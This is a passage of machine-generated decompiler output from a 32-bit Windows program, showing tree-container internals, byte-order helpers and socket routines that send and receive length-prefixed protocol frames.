    *(_DWORD *)(a1 + 20) = 0;
  }
  return a2;
}

//----- (00401A20) --------------------------------------------------------
int __userpurge sub_401A20<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5)
{
  int v5; // eax@1
  int v6; // ecx@1
  int result; // eax@3
  int v8; // edx@5
  int v9; // eax@6
  int j; // eax@7
  int v11; // ecx@7
  int i; // eax@10
  int v13; // ecx@3
  int v14; // [sp+0h] [bp-4h]@1

  v14 = a1;
  v5 = *(_DWORD *)(a3 + 4);
  v6 = a4;
  if ( a4 != *(_DWORD *)v5 || a5 != v5 )
  {
    for ( ; a4 != a5; v6 = a4 )
    {
      v8 = v6;
      if ( !*(_BYTE *)(v6 + 45) )
      {
        v9 = *(_DWORD *)(v6 + 8);
        if ( *(_BYTE *)(v9 + 45) )
        {
          for ( i = *(_DWORD *)(v6 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) )
          {
            if ( v6 != *(_DWORD *)(i + 8) )
              break;
            v6 = i;
            a4 = i;
          }
          a4 = i;
        }
        else
        {
          v11 = *(_DWORD *)(v6 + 8);
          for ( j = *(_DWORD *)v9; !*(_BYTE *)(j + 45); j = *(_DWORD *)j )
            v11 = j;
          a4 = v11;
        }
      }
      sub_401AE0(a3, (int)&v14, v8);
    }
    *(_DWORD *)a2 = v6;
    result = a2;
  }
  else
  {
    sub_401D70(a3, *(_DWORD *)(v5 + 4));
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 4) = *(_DWORD *)(a3 + 4);
    **(_DWORD **)(a3 + 4) = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(*(_DWORD *)(a3 + 4) + 8) = *(_DWORD *)(a3 + 4);
    v13 = *(_DWORD *)(a3 + 4);
    *(_DWORD *)(a3 + 8) = 0;
    *(_DWORD *)a2 = *(_DWORD *)v13;
    result = a2;
  }
  return result;
}

//----- (00401AE0) --------------------------------------------------------
int __stdcall sub_401AE0(int a1, int a2, int a3)
{
  int v3; // eax@1
  int v4; // ebx@3
  int v5; // edi@4
  int v6; // eax@7
  int v7; // esi@8
  int v8; // eax@10
  int v9; // edx@10
  int i; // ecx@17
  int v11; // eax@18
  int v12; // ecx@21
  int v13; // ecx@30
  int v14; // ecx@32
  int v15; // eax@36
  int v16; // ecx@39
  int v17; // eax@62
  int result; // eax@64
  int v19; // eax@24
  char v20; // cl@35
  int v21; // [sp+4h] [bp-4h]@3
  int v22; // [sp+0h] [bp-8h]@21

  v3 = a3;
  if ( *(_BYTE *)(a3 + 45) )
    v3 = std___Xout_of_range("invalid map/set<T> iterator");
  v4 = v3;
  v21 = v3;
  sub_401EC0((int)&a3);
  if ( *(_BYTE *)(*(_DWORD *)v4 + 45) )
  {
    v5 = *(_DWORD *)(v4 + 8);
LABEL_8:
    v7 = *(_DWORD *)(v4 + 4);
    if ( !*(_BYTE *)(v5 + 45) )
      *(_DWORD *)(v5 + 4) = v7;
    v9 = a1;
    v8 = *(_DWORD *)(a1 + 4);
    if ( *(_DWORD *)(v8 + 4) == v4 )
    {
      *(_DWORD *)(v8 + 4) = v5;
    }
    else
    {
      if ( *(_DWORD *)v7 == v4 )
        *(_DWORD *)v7 = v5;
      else
        *(_DWORD *)(v7 + 8) = v5;
    }
    if ( **(_DWORD **)(v9 + 4) == v4 )
    {
      if ( *(_BYTE *)(v5 + 45) )
      {
        i = v7;
      }
      else
      {
        v11 = *(_DWORD *)v5;
        for ( i = v5; !*(_BYTE *)(v11 + 45); v11 = *(_DWORD *)v11 )
          i = v11;
      }
      **(_DWORD **)(v9 + 4) = i;
    }
    v12 = *(_DWORD *)(v9 + 4);
    v22 = *(_DWORD *)(v9 + 4);
    if ( *(_DWORD *)(v12 + 8) == v4 )
    {
      if ( *(_BYTE *)(v5 + 45) )
      {
        *(_DWORD *)(v12 + 8) = v7;
      }
      else
      {
        v19 = sub_401EA0(v5);
        v9 = a1;
        *(_DWORD *)(v22 + 8) = v19;
      }
    }
    goto LABEL_36;
  }
  if ( *(_BYTE *)(*(_DWORD *)(v4 + 8) + 45) )
  {
    v5 = *(_DWORD *)v4;
    goto LABEL_8;
  }
  v6 = a3;
  v5 = *(_DWORD *)(a3 + 8);
  if ( a3 == v4 )
    goto LABEL_8;
  *(_DWORD *)(*(_DWORD *)v4 + 4) = a3;
  *(_DWORD *)v6 = *(_DWORD *)v4;
  if ( v6 == *(_DWORD *)(v4 + 8) )
  {
    v7 = v6;
  }
  else
  {
    v7 = *(_DWORD *)(v6 + 4);
    if ( !*(_BYTE *)(v5 + 45) )
      *(_DWORD *)(v5 + 4) = v7;
    *(_DWORD *)v7 = v5;
    *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8);
    *(_DWORD *)(*(_DWORD *)(v4 + 8) + 4) = v6;
  }
  v13 = *(_DWORD *)(a1 + 4);
  if ( *(_DWORD *)(v13 + 4) == v4 )
  {
    *(_DWORD *)(v13 + 4) = v6;
  }
  else
  {
    v14 = *(_DWORD *)(v4 + 4);
    if ( *(_DWORD *)v14 == v4 )
      *(_DWORD *)v14 = v6;
    else
      *(_DWORD *)(v14 + 8) = v6;
  }
  *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4);
  v20 = *(_BYTE *)(v6 + 44);
  *(_BYTE *)(v6 + 44) = *(_BYTE *)(v4 + 44);
  v9 = a1;
  *(_BYTE *)(v4 + 44) = v20;
LABEL_36:
  v15 = v21;
  if ( *(_BYTE *)(v21 + 44) == 1 )
  {
    for ( ; v5 != *(_DWORD *)(*(_DWORD *)(v9 + 4) + 4); v7 = *(_DWORD *)(v7 + 4) )
    {
      if ( *(_BYTE *)(v5 + 44) != 1 )
        break;
      v16 = *(_DWORD *)v7;
      if ( v5 == *(_DWORD *)v7 )
      {
        v16 = *(_DWORD *)(v7 + 8);
        if ( !*(_BYTE *)(v16 + 44) )
        {
          *(_BYTE *)(v16 + 44) = 1;
          *(_BYTE *)(v7 + 44) = 0;
          sub_401DE0(v7, v9);
          v16 = *(_DWORD *)(v7 + 8);
          v9 = a1;
        }
        if ( *(_BYTE *)(v16 + 45) )
          goto LABEL_54;
        if ( *(_BYTE *)(*(_DWORD *)v16 + 44) != 1 || *(_BYTE *)(*(_DWORD *)(v16 + 8) + 44) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 44) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)v16 + 44) = 1;
            *(_BYTE *)(v16 + 44) = 0;
            sub_401E40(v16, v9);
            v16 = *(_DWORD *)(v7 + 8);
            v9 = a1;
          }
          *(_BYTE *)(v16 + 44) = *(_BYTE *)(v7 + 44);
          *(_BYTE *)(v7 + 44) = 1;
          *(_BYTE *)(*(_DWORD *)(v16 + 8) + 44) = 1;
          sub_401DE0(v7, v9);
          break;
        }
      }
      else
      {
        if ( !*(_BYTE *)(v16 + 44) )
        {
          *(_BYTE *)(v16 + 44) = 1;
          *(_BYTE *)(v7 + 44) = 0;
          sub_401E40(v7, v9);
          v16 = *(_DWORD *)v7;
          v9 = a1;
        }
        if ( *(_BYTE *)(v16 + 45) )
          goto LABEL_54;
        if ( *(_BYTE *)(*(_DWORD *)(v16 + 8) + 44) != 1 || *(_BYTE *)(*(_DWORD *)v16 + 44) != 1 )
        {
          if ( *(_BYTE *)(*(_DWORD *)v16 + 44) == 1 )
          {
            *(_BYTE *)(*(_DWORD *)(v16 + 8) + 44) = 1;
            *(_BYTE *)(v16 + 44) = 0;
            sub_401DE0(v16, v9);
            v16 = *(_DWORD *)v7;
            v9 = a1;
          }
          *(_BYTE *)(v16 + 44) = *(_BYTE *)(v7 + 44);
          *(_BYTE *)(v7 + 44) = 1;
          *(_BYTE *)(*(_DWORD *)v16 + 44) = 1;
          sub_401E40(v7, v9);
          break;
        }
      }
      *(_BYTE *)(v16 + 44) = 0;
LABEL_54:
      v5 = v7;
    }
    v15 = v21;
    *(_BYTE *)(v5 + 44) = 1;
  }
  if ( *(_DWORD *)(v15 + 36) >= 0x10u )
    operator delete(*(_DWORD *)(v15 + 16));
  *(_DWORD *)(v21 + 36) = 15;
  *(_DWORD *)(v21 + 32) = 0;
  *(_BYTE *)(v21 + 16) = 0;
  operator delete(v21);
  v17 = *(_DWORD *)(a1 + 8);
  if ( v17 )
    *(_DWORD *)(a1 + 8) = v17 - 1;
  result = a2;
  *(_DWORD *)a2 = a3;
  return result;
}

//----- (00401D70) --------------------------------------------------------
int __thiscall sub_401D70(int this, int a2)
{
  int v2; // edi@1
  int v3; // esi@1
  int result; // eax@4
  char v5; // zf@1
  int v6; // [sp+8h] [bp-4h]@1

  v3 = a2;
  v5 = *(_BYTE *)(a2 + 45) == 0;
  v6 = this;
  v2 = a2;
  if ( v5 )
  {
    do
    {
      sub_401D70(*(_DWORD *)(v2 + 8));
      v2 = *(_DWORD *)v2;
      if ( *(_DWORD *)(v3 + 36) >= 0x10u )
        operator delete(*(_DWORD *)(v3 + 16));
      *(_DWORD *)(v3 + 36) = 15;
      *(_DWORD *)(v3 + 32) = 0;
      *(_BYTE *)(v3 + 16) = 0;
      result = operator delete(v3);
      v3 = v2;
    }
    while ( !*(_BYTE *)(v2 + 45) );
  }
  return result;
}

//----- (00401DE0) --------------------------------------------------------
int __thiscall sub_401DE0(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@3
  int v4; // edx@5

  result = *(_DWORD *)(this + 8);
  *(_DWORD *)(this + 8) = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 45) )
    *(_DWORD *)(*(_DWORD *)result + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v3 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v3 + 4) )
  {
    *(_DWORD *)(v3 + 4) = result;
    *(_DWORD *)result = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v4 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)v4 )
    {
      *(_DWORD *)v4 = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)(v4 + 8) = result;
      *(_DWORD *)result = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00401E40) --------------------------------------------------------
int __thiscall sub_401E40(int this, int a2)
{
  int result; // eax@1
  int v3; // edx@1
  int v4; // edx@3
  int v5; // edx@5

  result = *(_DWORD *)this;
  *(_DWORD *)this = *(_DWORD *)(*(_DWORD *)this + 8);
  v3 = *(_DWORD *)(result + 8);
  if ( !*(_BYTE *)(v3 + 45) )
    *(_DWORD *)(v3 + 4) = this;
  *(_DWORD *)(result + 4) = *(_DWORD *)(this + 4);
  v4 = *(_DWORD *)(a2 + 4);
  if ( this == *(_DWORD *)(v4 + 4) )
  {
    *(_DWORD *)(v4 + 4) = result;
    *(_DWORD *)(result + 8) = this;
    *(_DWORD *)(this + 4) = result;
  }
  else
  {
    v5 = *(_DWORD *)(this + 4);
    if ( this == *(_DWORD *)(v5 + 8) )
    {
      *(_DWORD *)(v5 + 8) = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
    else
    {
      *(_DWORD *)v5 = result;
      *(_DWORD *)(result + 8) = this;
      *(_DWORD *)(this + 4) = result;
    }
  }
  return result;
}

//----- (00401EA0) --------------------------------------------------------
int __usercall sub_401EA0<eax>(int result<eax>)
{
  int i; // ecx@1

  for ( i = *(_DWORD *)(result + 8); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 8) )
    result = i;
  return result;
}

//----- (00401EC0) --------------------------------------------------------
int __usercall sub_401EC0<eax>(int result<eax>)
{
  int v1; // ecx@1
  int v2; // edx@2
  int j; // ecx@3
  int i; // ecx@6

  v1 = *(_DWORD *)result;
  if ( !*(_BYTE *)(*(_DWORD *)result + 45) )
  {
    v2 = *(_DWORD *)(v1 + 8);
    if ( *(_BYTE *)(v2 + 45) )
    {
      for ( i = *(_DWORD *)(v1 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) )
      {
        if ( *(_DWORD *)result != *(_DWORD *)(i + 8) )
          break;
        *(_DWORD *)result = i;
      }
      *(_DWORD *)result = i;
    }
    else
    {
      for ( j = *(_DWORD *)v2; !*(_BYTE *)(j + 45); j = *(_DWORD *)j )
        v2 = j;
      *(_DWORD *)result = v2;
    }
  }
  return result;
}

//----- (00401F10) --------------------------------------------------------
int __usercall sub_401F10<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>)
{
  unsigned int v3; // esi@1
  signed int v4; // eax@5

  v3 = a1;
  if ( a1 < 4 )
  {
LABEL_4:
    if ( !v3 )
      return 0;
  }
  else
  {
    while ( *(_DWORD *)a2 == *(_DWORD *)a3 )
    {
      v3 -= 4;
      a3 += 4;
      a2 += 4;
      if ( v3 < 4 )
        goto LABEL_4;
    }
  }
  v4 = *(_BYTE *)a2 - *(_BYTE *)a3;
  if ( v4 )
    return (v4 >> 31) | 1;
  if ( v3 <= 1 )
    return 0;
  v4 = *(_BYTE *)(a2 + 1) - *(_BYTE *)(a3 + 1);
  if ( v4 )
    return (v4 >> 31) | 1;
  if ( v3 <= 2 )
    return 0;
  v4 = *(_BYTE *)(a2 + 2) - *(_BYTE *)(a3 + 2);
  if ( v4 )
    return (v4 >> 31) | 1;
  if ( v3 > 3 )
  {
    v4 = *(_BYTE *)(a2 + 3) - *(_BYTE *)(a3 + 3);
    return (v4 >> 31) | 1;
  }
  return 0;
}

//----- (00401F90) --------------------------------------------------------
#error "40201E: positive sp value has been found (funcsize=47)"

//----- (00402030) --------------------------------------------------------
char __userpurge sub_402030<al>(int a1<ebx>, SOCKET a2)
{
  int v2; // edx@1
  int v3; // esi@1
  char result; // al@6
  int v5; // eax@3
  u_short v6; // ST08_2@8
  u_short v7; // ax@8
  int v8; // edi@8
  int v9; // ST00_4@8
  int v10; // edx@8
  int v11; // eax@8
  int v12; // [sp+Ch] [bp-28h]@1
  void *Dst; // [sp+10h] [bp-24h]@1
  int v14; // [sp+14h] [bp-20h]@1
  int v15; // [sp+30h] [bp-4h]@3
  signed int v16; // [sp+20h] [bp-14h]@3
  int v17; // [sp+1Ch] [bp-18h]@8

  v12 = 0;
  Dst = 0;
  v14 = 0;
  sub_405AD0((int)&v12, 6);
  v3 = v12;
  if ( v12 - (_DWORD)Dst != -6 )
    memset(Dst, 0, v12 - (_DWORD)Dst + 6);
  Dst = (void *)(v3 + 6);
  v15 = 0;
  v16 = 10;
  v5 = sub_41D7D0(6, v2, a2, v3, (char)&v16, 1);
  *(_DWORD *)(a1 + 20) = v5;
  if ( v5 != 6 )
  {
    if ( !v3 )
      return 0;
LABEL_5:
    operator delete(v3);
    return 0;
  }
  if ( *(_BYTE *)v3 != 42 )
    goto LABEL_5;
  *(_BYTE *)a1 = *(_BYTE *)(v3 + 1);
  v6 = *(_WORD *)(v3 + 2);
  *(_WORD *)(a1 + 2) = *(_WORD *)(v3 + 2);
  *(_WORD *)(a1 + 2) = htons_0(v6);
  v7 = htons_0(*(_WORD *)(v3 + 4));
  v8 = v7;
  v17 = v7;
  sub_405670(v7, v3);
  v9 = *(_DWORD *)(a1 + 4);
  v16 = 10000;
  v11 = sub_41D7D0(v8, v10, a2, v9, (char)&v16, 1);
  *(_DWORD *)(a1 + 20) = v11;
  if ( v11 == v17 )
  {
    operator delete(v12);
    result = 1;
  }
  else
  {
    operator delete(v12);
    result = 0;
  }
  return result;
}

//----- (00402180) --------------------------------------------------------
char __userpurge sub_402180<al>(int a1<esi>, SOCKET a2)
{
  int v2; // ebx@1
  SOCKET v3; // edi@3
  int v4; // ST08_4@4
  int v6; // eax@3
  int v7; // ecx@6
  int v8; // ST04_4@6
  int v9; // eax@6
  int v10; // [sp+Ch] [bp-18h]@1
  void *Dst; // [sp+10h] [bp-14h]@1
  int v12; // [sp+14h] [bp-10h]@1
  int v13; // [sp+1Ch] [bp-8h]@3

  v10 = 0;
  Dst = 0;
  v12 = 0;
  sub_405AD0((int)&v10, 6);
  v2 = v10;
  if ( v10 - (_DWORD)Dst != -6 )
    memset(Dst, 0, v10 - (_DWORD)Dst + 6);
  *(_BYTE *)v2 = 42;
  *(_BYTE *)(v2 + 1) = *(_BYTE *)a1;
  *(_WORD *)(v2 + 2) = htons(*(_WORD *)(a1 + 2));
  v3 = a2;
  *(_WORD *)(v2 + 4) = htons(*(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4));
  v13 = 100;
  v6 = sub_41D5F0(6, (int)&v13, v3, v2, (int)&v13);
  *(_DWORD *)(a1 + 20) = v6;
  if ( v6 != 6 )
  {
    v4 = v2;
LABEL_5:
    operator delete(v4);
    return 0;
  }
  v7 = *(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4);
  v8 = *(_DWORD *)(a1 + 4);
  v13 = 100;
  v9 = sub_41D5F0(v7, (int)&v13, v3, v8, (int)&v13);
  *(_DWORD *)(a1 + 20) = v9;
  v4 = v2;
  if ( v9 != *(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4) )
    goto LABEL_5;
  operator delete(v2);
  return 1;
}

//----- (00402260) --------------------------------------------------------
char __usercall sub_402260<al>(u_short **a1<eax>, int a2<ecx>)
{
  u_short *v2; // eax@1
  u_short **v3; // edi@1
  int v4; // esi@1
  char result; // al@2
  const void *v6; // eax@3
  void *v7; // edi@3
  u_short v8; // ax@3
  u_short v9; // ST0C_2@3
  u_short v10; // ST0C_2@3
  u_long v11; // ST0C_4@3
  u_short *v12; // eax@3
  int v13; // edx@3
  int v14; // [sp+8h] [bp-8h]@3
  int v15; // [sp+Ch] [bp-4h]@3

  v3 = a1;
  v2 = *a1;
  v4 = a2;
  if ( (char *)*(v3 + 1) - (char *)v2 >= 0xA )
  {
    v8 = *v2;
    *(_WORD *)a2 = v8;
    *(_WORD *)a2 = htons_0(v8);
    v9 = *(*v3 + 1);
    *(_WORD *)(v4 + 2) = *(*v3 + 1);
    *(_WORD *)(v4 + 2) = htons_0(v9);
    v10 = *(*v3 + 2);
    *(_WORD *)(v4 + 4) = *(*v3 + 2);
    *(_WORD *)(v4 + 4) = htons_0(v10);
    v11 = *(_DWORD *)(*v3 + 3);
    *(_DWORD *)(v4 + 8) = *(_DWORD *)(*v3 + 3);
    *(_DWORD *)(v4 + 8) = htonl(v11);
    v12 = *v3;
    v13 = (int)*(v3 + 1);
    v7 = *(void **)(v4 + 12);
    v14 = (int)(v12 + 5);
    v6 = *(const void **)(v4 + 16);
    v15 = v13;
    if ( v7 != v6 )
    {
      memmove(v7, v6, 0);
      *(_DWORD *)(v4 + 16) = v7;
    }
    sub_41D130(v4 + 12, *(void **)(v4 + 12), v14, v15, v14);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (00402320) --------------------------------------------------------
void *__usercall sub_402320<eax>(int a1<eax>, int a2<edi>)
{
  unsigned int v2; // eax@1
  int v3; // esi@1
  u_short v5; // ax@3
  u_short v6; // ST08_2@3
  u_short v7; // ax@3
  u_short v8; // ST08_2@3
  u_short v9; // bx@3
  u_long v10; // eax@3
  int v11; // [sp+Ch] [bp-4h]@3
  int v12; // [sp+8h] [bp-8h]@3

  v3 = a1;
  v2 = *(_DWORD *)(a2 + 16) - *(_DWORD *)(a2 + 12) + 10;
  if ( *(_DWORD *)(v3 + 4) - *(_DWORD *)v3 < v2 )
    sub_405670(v2, v3);
  v5 = htons(*(_WORD *)a2);
  v6 = *(_WORD *)(a2 + 2);
  v11 = v5;
  v7 = htons(v6);
  v8 = *(_WORD *)(a2 + 4);
  v12 = v7;
  v9 = htons(v8);
  v10 = htonl_0(*(_DWORD *)(a2 + 8));
  **(_WORD **)v3 = v11;
  *(_WORD *)(*(_DWORD *)v3 + 2) = v12;
  *(_WORD *)(*(_DWORD *)v3 + 4) = v9;
  *(_DWORD *)(*(_DWORD *)v3 + 6) = v10;
  return memcpy((void *)(*(_DWORD *)v3 + 10), *(const void **)(a2 + 12), *(_DWORD *)(a2 + 16) - *(_DWORD *)(a2 + 12));
}

//----- (004023B0) --------------------------------------------------------
char __userpurge sub_4023B0<al>(int a1<eax>, int a2)
{
  char result; // al@2

  if ( (unsigned int)(*(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4)) >= 2 )
  {
    *(_WORD *)a2 = htons_0(**(_WORD **)(a1 + 4));
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (004023E0) --------------------------------------------------------
void *__userpurge sub_4023E0<eax>(u_short a1<ax>, int a2)
{
  void *result; // eax@1
  int v2; // ecx@1
  int v3; // edi@1
  int v4; // esi@1
  int v5; // ebx@2
  size_t v6; // eax@5
  u_short v7; // ax@1
  __int16 v8; // dx@3
  int v9; // eax@5
  char v10; // zf@5
  int v12; // [sp+8h] [bp-4h]@1

  v7 = htons(a1);
  v4 = a2;
  v2 = *(_DWORD *)(a2 + 4);
  v3 = v7;
  result = *(void **)(a2 + 8);
  v12 = v3;
  if ( (unsigned int)((char *)result - v2) <= 2 )
  {
    if ( (unsigned int)((char *)result - v2) >= 2 )
    {
      *(_WORD *)v2 = v3;
    }
    else
    {
      sub_405AD0(a2 + 4, v2 - (_DWORD)result + 2);
      v9 = *(_DWORD *)(v4 + 4) - *(_DWORD *)(v4 + 8);
      v10 = v9 == -2;
      v6 = v9 + 2;
      if ( !v10 )
        memset(*(void **)(v4 + 8), 0, v6);
      result = (void *)(*(_DWORD *)(v4 + 4) + 2);
      *(_DWORD *)(v4 + 8) = result;
      **(_WORD **)(v4 + 4) = v3;
    }
  }
  else
  {
    v5 = v2 + 2;
    if ( v2 + 2 == (_DWORD)result )
    {
      result = (void *)v2;
      *(_WORD *)v2 = v3;
    }
    else
    {
      result = memmove((void *)(v2 + 2), result, 0);
      v8 = v12;
      *(_DWORD *)(v4 + 8) = v5;
      **(_WORD **)(v4 + 4) = v8;
    }
  }
  return result;
}

//----- (00402490) --------------------------------------------------------
char __userpurge sub_402490<al>(int a1<eax>, int a2)
{
  char result; // al@2

  if ( (unsigned int)(*(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4)) >= 4 )
  {
    *(_DWORD *)a2 = htonl(**(_DWORD **)(a1 + 4));
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (004024C0) --------------------------------------------------------
void *__userpurge sub_4024C0<eax>(u_long a1<eax>, int a2)
{
  void *result; // eax@1
  int v2; // ecx@1
  u_long v3; // edi@1
  int v4; // esi@1
  int v5; // ebx@2
  size_t v6; // eax@5
  u_long v7; // eax@1
  u_long v8; // edx@3
  int v9; // eax@5
  char v10; // zf@5
  u_long v12; // [sp+8h] [bp-4h]@1

  v7 = htonl_0(a1);
  v4 = a2;
  v2 = *(_DWORD *)(a2 + 4);
  v3 = v7;
  result = *(void **)(a2 + 8);
  v12 = v3;
  if ( (unsigned int)((char *)result - v2) <= 4 )
  {
    if ( (unsigned int)((char *)result - v2) >= 4 )
    {
      *(_DWORD *)v2 = v3;
    }
    else
    {
      sub_405AD0(a2 + 4, v2 - (_DWORD)result + 4);
      v9 = *(_DWORD *)(v4 + 4) - *(_DWORD *)(v4 + 8);
      v10 = v9 == -4;
      v6 = v9 + 4;
      if ( !v10 )
        memset(*(void **)(v4 + 8), 0, v6);
      result = (void *)(*(_DWORD *)(v4 + 4) + 4);
      *(_DWORD *)(v4 + 8) = result;
      **(_DWORD **)(v4 + 4) = v3;
    }
  }
  else
  {
    v5 = v2 + 4;
    if ( v2 + 4 == (_DWORD)result )
    {
      result = (void *)v2;
      *(_DWORD *)v2 = v3;
    }
    else
    {
      result = memmove((void *)(v2 + 4), result, 0);
      v8 = v12;
      *(_DWORD *)(v4 + 8) = v5;
      **(_DWORD **)(v4 + 4) = v8;
    }
  }
  return result;
}

//----- (00402570) --------------------------------------------------------
int __thiscall sub_402570(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8)
{
  int *v8; // ecx@1
  int v9; // esi@1
  int v10; // ebx@6
  int result; // eax@8
  int v12; // [sp+20h] [bp-4h]@1
  int v13; // [sp+10h] [bp-14h]@3
  int v14; // [sp+14h] [bp-10h]@4

  v9 = this;
  v12 = 0;
  v8 = (int *)a2;
  if ( a7 < 0x10 )
    v8 = &a2;
  v13 = (int)((char *)v8 + a6);
  if ( a7 < 0x10 )
    v14 = (int)&a2;
  else
    v14 = a2;
  v10 = *(_DWORD *)(v9 + 4);
  if ( v10 != *(_DWORD *)(v9 + 8) )
  {
    memmove(*(void **)(v9 + 4), *(const void **)(v9 + 8), 0);
    *(_DWORD *)(v9 + 8) = v10;
  }
  result = sub_41D130(v9 + 4, *(void **)(v9 + 4), v14, v13, v13);
  if ( a7 >= 0x10 )
    result = operator delete(a2);
  return result;
}

//----- (00402630) --------------------------------------------------------
char __userpurge sub_402630<al>(int a1<eax>, int a2<ecx>, int a3)
{
  int v3; // eax@1
  int v4; // edi@1
  int v5; // esi@1
  char result; // al@2
  int v7; // ecx@3
  const void *v8; // eax@5
  void *v9; // edi@5
  int v10; // esi@5
  int v11; // eax@5
  int v12; // ecx@5
  int v13; // [sp+8h] [bp-8h]@5
  int v14; // [sp+Ch] [bp-4h]@5

  v4 = a2;
  v5 = a1;
  v3 = *(_DWORD *)a2;
  if ( *(_DWORD *)(a2 + 4) - *(_DWORD *)a2 >= (unsigned int)(v5 + 4) )
  {
    *(_WORD *)a3 = htons_0(*(_WORD *)(v3 + v5));
    v7 = htons_0(*(_WORD *)(*(_DWORD *)v4 + v5 + 2));
    if ( *(_DWORD *)(v4 + 4) - *(_DWORD *)v4 >= (unsigned int)(v7 + v5 + 4) )
    {
      v11 = v5 + *(_DWORD *)v4;
      v10 = a3;
      v9 = *(void **)(a3 + 4);
      v12 = v7 + v11 + 4;
      v13 = v11 + 4;
      v8 = *(const void **)(a3 + 8);
      v14 = v12;
      if ( v9 != v8 )
      {
        memmove(v9, v8, 0);
        *(_DWORD *)(v10 + 8) = v9;
      }
      sub_41D130(v10 + 4, *(void **)(v10 + 4), v13, v14, a3);
      result = 1;
    }
    else
    {
      result = 0;
    }
  }
  else
  {
    result = 0;
  }
  return result;
}

//----- (004026F0) --------------------------------------------------------
int __thiscall sub_4026F0(int this, char a2)
{
  int v2; // eax@1
  int v3; // ecx@1
  int v4; // esi@1
  char v6; // zf@3

  v4 = this;
  *(_DWORD *)this = &off_4214E8;
  v2 = *(_DWORD *)(this + 4);
  v3 = 0;
  if ( v2 )
  {
    sub_4061B0(v2, *(_DWORD *)(v4 + 8));
    operator delete(*(_DWORD *)(v4 + 4));
    v3 = 0;
  }
  v6 = (a2 & 1) == 0;
  *(_DWORD *)(v4 + 4) = v3;
  *(_DWORD *)(v4 + 8) = v3;
  *(_DWORD *)(v4 + 12) = v3;
  if ( !v6 )
    operator delete(v4);
  return v4;
}

//----- (00402740) --------------------------------------------------------
int __fastcall sub_402740(int a1)
{
  int result; // eax@1
  int v2; // esi@1

  v2 = a1;
  *(_DWORD *)a1 = &off_4214E8;
  result = *(_DWORD *)(a1 + 4);
  if ( result )
  {
    sub_4061B0(result, *(_DWORD *)(a1 + 8));
    result = operator delete(*(_DWORD *)(v2 + 4));
  }
  *(_DWORD *)(v2 + 4) = 0;
  *(_DWORD *)(v2 + 8) = 0;
  *(_DWORD *)(v2 + 12) = 0;
  return result;
}

//----- (00402B70) --------------------------------------------------------
int __usercall sub_402B70<eax>(int a1<eax>, __int16 a2<di>)
{
  int v2; // eax@1
  unsigned int v3; // ecx@1
  int v4; // esi@1
  int v5; // edx@2
  int v6; // esi@2
  int result; // eax@5
  signed int v8; // edx@1
  unsigned int v9; // eax@1
  char v10; // zf@1

  v4 = a1;
  v8 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4))) >> 32) >> 3;
  v9 = (unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - *(_DWORD *)(a1 + 4))) >> 32) >> 31;
  v3 = 0;
  v10 = v8 + v9 == 0;
  v2 = v8 + v9;
  if ( v10 )
  {
LABEL_5:
    result = 0;
  }
  else
  {
    v6 = *(_DWORD *)(v4 + 4);
    v5 = v6;
    while ( *(_WORD *)v5 != a2 )
    {
      ++v3;
      v5 += 20;
      if ( v3 >= v2 )
        goto LABEL_5;
    }
    result = v6 + 20 * v3;
  }
  return result;
}

//----- (00402BB0) --------------------------------------------------------
char __thiscall sub_402BB0(int this, int a2, int a3)
{
  int v3; // ebx@1
  int v4; // edi@1
  int v5; // esi@1
  char result; // al@2

  v5 = a2;
  v3 = this;
  v4 = a3 + 4;
  if ( *(_DWORD *)(a2 + 4) - *(_DWORD *)a2 < (unsigned int)(a3 + 4) || htonl(*(_DWORD *)(*(_DWORD *)a2 + a3)) != 1 )
    result = 0;
  else
    result = loc_402780(v3, v5, v4);
  return result;
}

//----- (00402C00) --------------------------------------------------------
int __thiscall sub_402C00(int this, int a2, int a3)
{
  int v3; // ebx@1
  int v4; // edi@1
  int v5; // esi@1

  v5 = a2;
  v4 = a3 + 4;
  v3 = this;
  if ( *(_DWORD *)(a2 + 4) - *(_DWORD *)a2 < (unsigned int)(a3 + 4) )
    sub_405670(a3 + 4, a2);
  *(_DWORD *)(a3 + *(_DWORD *)v5) = htonl_0(1u);
  return loc_4029C0(v3, a3, v5, v4);
}

//----- (00402C50) --------------------------------------------------------
char __usercall sub_402C50<al>(int a1<eax>, int a2<ecx>)
{
  int v2; // eax@1
  int v3; // edi@1
  int v4; // esi@1
  char result; // al@2
  int v6; // ecx@3
  unsigned int v7; // eax@4
  int v8; // ecx@4
  char *v9; // ebx@4
  char *v10; // edi@4
  int v11; // esi@5
  int v12; // eax@8
  u_short v13; // ST14_2@3
